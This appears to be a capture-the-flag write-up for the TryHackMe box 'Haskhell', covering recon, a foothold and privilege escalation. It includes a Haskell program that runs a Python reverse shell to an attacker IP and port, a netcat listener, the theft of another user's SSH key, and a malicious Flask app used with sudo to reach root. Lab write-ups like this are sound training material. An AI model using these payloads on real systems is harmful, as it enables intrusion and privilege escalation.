Haskhell - THM
Haskhell, is a medium rated box. Initial foothold gained by exploiting a webapp and privesc obtained by misusing sudo access

Haskhell, is a medium rated box. Initial foothold gained by exploiting a webapp and privesc obtained by misusing sudo access
Recon
nmap
Start of the box with a nmap scan to identify what services are running on the box, including the version of the service.
~ took 3s [I] ➜ nmap -sC -sV -Pn 10.10.6.94
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-18 15:58 PDT
Nmap scan report for 10.10.6.94
Host is up (0.23s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1d:f3:53:f7:6d:5b:a1:d4:84:51:0d:dd:66:40:4d:90 (RSA)
| 256 26:7c:bd:33:8f:bf:09:ac:9e:e3:d3:0a:c3:34:bc:14 (ECDSA)
|_ 256 d5:fb:55:a0:fd:e8:e1:ab:9e:46:af:b8:71:90:00:26 (ED25519)
5001/tcp open http Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Homepage
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.60 seconds
From the scan we identified two services running:
- ssh : running on port 22
- webserver : running on port 5001
ffuf
ffuf is web fuzzer written in golang. We use this to identify files and directories that are hidden from the user view
~ took 2m 33s [I] ➜ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.6.94:5001/FUZZ -ic -c -t 100 -o dir.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : http://10.10.6.94:5001/FUZZ
:: Output file : dir.txt
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
[Status: 200, Size: 1471, Words: 251, Lines: 16]
submit [Status: 200, Size: 237, Words: 48, Lines: 9]
From this scan we have identified one file
- submit
Enumeration
Web
Now that we browse the website, there is a link to another page

There is also another link, on this page, however the page returns a 404.

By reading that statement it is suggested that we can upload a program, which will then be compiled and executed by the server, making this a vulnerability.
Therefore to exploit this vulnerability, we can create a malicious haskell script that would enable us to create a reverse shell
Foothold
The malicious script was created after reading and completely understanding haskell, just kidding it is a hack by reading stackoverflow and haskell library pages.
module Main where
import System.Cmd
main = system "export RHOST=\"10.2.22.5\";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")' "
This is a haskell file with a python based reverse-shell that once executed will connect back to the litsening netcat client
~ [I] ➜ nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.2.22.5] from (UNKNOWN) [10.10.6.94] 42416
$ id
id
uid=1001(flask) gid=1001(flask) groups=1001(flask)
We now have access as flask on the system
Now that we have a reverse shell, we can generate our own ssh keys and copy them to the authorized_keys file for a proper shell
ssh -i ssh/haskhell [email protected]
We can now start looking for any lax permissions that will allow us to view files and folder that we are not supposed to
flask@haskhell:~$ ls -la /home
total 20
drwxr-xr-x 5 root root 4096 May 27 17:29 .
drwxr-xr-x 24 root root 4096 May 27 17:12 ..
drwxr-xr-x 8 flask flask 4096 Jun 18 20:19 flask
drwxr-xr-x 7 haskell haskell 4096 May 27 19:08 haskell
drwxr-xr-x 7 prof prof 4096 May 27 19:07 prof
From the previous command we see that we have execute and read permissions for the other group, meaning that we can list directories and read files, hence the first flag
flask@haskhell:~$ cat /home/prof/user.txt
flag{...}
Privilege Escalation
As seen previously, that we can view files and folder of other users, we can try grabbing any ssh keys that are accessible for other user for privesc and luckily the prof directory allows us to read the ssh keys

We can now grab the id_rsa
and ssh in as the prof user
prof@haskhell:~$ id
uid=1002(prof) gid=1002(prof) groups=1002(prof)
Checking whether prof has any sudo permission, surely enough he has sudo permission on the flask binary
prof@haskhell:~$ sudo -l
Matching Defaults entries for prof on haskhell:
env_reset, env_keep+=FLASK_APP, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User prof may run the following commands on haskhell:
(root) NOPASSWD: /usr/bin/flask run
So we can create our own malicious flask app to escalate to root
from flask import Flask
import os
app = Flask(__name__)
@app.route('/')
def hello_world():
os.system('sudo su root')
return "hello world"
The os.system function is where we instruct the application to give us a bash shell once we hit the index page, hence we go a different terminal

- first we run flask sudo
- secondly, we browse the page
- Now we have root access
Lessons Learned
Haskell even though is a functional programming language, it has access to execute system commands